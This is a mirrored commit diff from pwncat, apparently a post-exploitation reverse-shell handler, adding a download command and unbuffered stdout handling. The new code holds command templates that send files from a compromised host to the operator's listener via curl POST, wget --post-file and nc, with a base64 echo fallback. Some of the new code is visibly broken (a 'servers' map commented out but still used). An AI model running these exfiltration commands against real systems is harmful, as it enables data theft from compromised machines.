1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Added lport to upload command formatting. Fixed stdout buffering issues.

This commit is contained in:
Caleb Stewart 2020-05-06 23:13:21 -04:00
parent 1c6bd80484
commit fd318b788a
2 changed files with 126 additions and 1 deletions

View File

@ -184,6 +184,118 @@ class PtyHandler:
""" Exit command mode """
self.enter_raw(save=False)
def do_download(self, argv):
uploaders = {
"curl": (
"http",
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
),
"wget": (
"http",
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
),
"nc": ("raw", "nc {lhost} {lport} < {outfile}"),
}
# servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
parser = argparse.ArgumentParser(prog="upload")
parser.add_argument(
"--method",
"-m",
choices=uploaders.keys(),
default=None,
help="set the download method (default: auto)",
)
parser.add_argument(
"--output",
"-o",
default="./{basename}",
help="path to the output file (default: basename of input)",
)
parser.add_argument("path", help="path to the file to upload")
try:
args = parser.parse_args(argv)
except SystemExit:
# The arguments were parsed incorrectly, return.
return
if self.vars.get("lhost", None) is None:
util.error("[!] you must provide an lhost address for reverse connections!")
return
if args.method is not None and args.method not in self.known_binaries:
util.error(f"{args.method}: method unavailable")
elif args.method is not None:
method = uploaders[args.method]
else:
method = None
for m, info in uploaders.items():
if m in self.known_binaries:
util.info("uploading via {m}")
method = info
break
else:
util.warn(
"no available upload methods. falling back to dd/base64 method"
)
path = args.path
basename = os.path.basename(args.path)
name = basename
outfile = args.output.format(basename=basename)
# Get the remote file size
size = self.run(f'wc -c {shlex.quote(path)} 2>/dev/null || echo "none"')
if "none" in size:
util.error(f"{path}: no such file or directory")
with ProgressBar("downloading") as pb:
counter = pb(range(os.path.getsize(path)))
last_update = time.time()
def on_progress(copied, blocksz):
""" Update the progress bar """
counter.items_completed += blocksz
if counter.items_completed >= counter.total:
counter.done = True
counter.stopped = True
if (time.time() - last_update) > 0.1:
pb.invalidate()
if method is not None:
server = servers[method[0]](path, name, progress=on_progress)
command = method[1].format(
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
)
result = self.run(command, wait=False)
else:
server = None
with open(path, "rb") as fp:
self.run(f"echo -n > {outfile}")
copied = 0
for chunk in iter(lambda: fp.read(8192), b""):
encoded = base64.b64encode(chunk).decode("utf-8")
self.run(f"echo -n {encoded} | base64 -d >> {outfile}")
copied += len(chunk)
on_progress(copied, len(chunk))
try:
while not counter.done:
time.sleep(0.1)
except KeyboardInterrupt:
pass
finally:
if server is not None:
server.shutdown()
# https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
time.sleep(0.1)
def do_upload(self, argv):
""" Upload a file to the remote host """
@ -263,7 +375,10 @@ class PtyHandler:
server = servers[method[0]](path, name, progress=on_progress)
command = method[1].format(
outfile=shlex.quote(outfile), lhost=self.vars["lhost"], lfile=name,
outfile=shlex.quote(outfile),
lhost=self.vars["lhost"],
lfile=name,
lport=server.server_address[1],
)
result = self.run(command, wait=False)

View File

@ -4,6 +4,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler
from functools import partial
from colorama import Fore
from io import TextIOWrapper
import threading
import logging
import termios
@ -93,6 +94,15 @@ def enter_raw_mode():
# Ensure we don't have any weird buffering issues
sys.stdout.flush()
# Python doesn't provide a way to use setvbuf, so we reopen stdout
# and specify no buffering
old_stdout = sys.stdout
sys.stdout = TextIOWrapper(
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
write_through=True,
line_buffering=False,
)
# Grab and duplicate current attributes
fild = sys.stdin.fileno()
old = termios.tcgetattr(fild)